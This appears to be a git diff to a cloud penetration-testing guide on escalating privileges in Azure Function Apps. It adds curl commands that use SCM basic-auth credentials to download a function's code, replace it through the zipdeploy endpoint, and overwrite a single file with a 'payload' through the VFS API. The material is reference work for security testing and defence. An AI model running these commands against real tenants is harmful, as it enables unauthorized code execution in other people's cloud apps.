diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 401adfe4d..c007144da 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -357,12 +357,40 @@ Then, you can access with these **basic auth credentials to the SCM URL** of you curl -u ':' \ https://.scm.azurewebsites.net/api/settings -v -# Deploy code to the funciton -zip function_app.zip function_app.py # Your code in function_app.py -curl -u ':' -X POST --data-binary "@" \ - https://.scm.azurewebsites.net/api/zipdeploy ``` +You can download, modify and upload new function code : + + +```bash +# download +curl -u ':' -X GET \ + https://.scm.azurewebsites.net/api/zip/site/wwwroot/ \ + -o current_function_code.zip + +unzip current_function_code.zip -d updated_code/ +cd updated_code/ +#... modify the function code +zip -r ../updated_function_app.zip . +cd ../ + +# upload +curl -u ':' https://.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v +``` + +You can even upload a specific file : + +```bash +curl -u ':' \ + -X PUT \ + -H "Content-Type: application/javascript" \ + -H "If-Match: *" \ + --data-binary "@./my_local_payload.js" \ + "https://.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file +``` + + + _Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$`._ You can also access the web page from `https://.scm.azurewebsites.net/BasicAuth`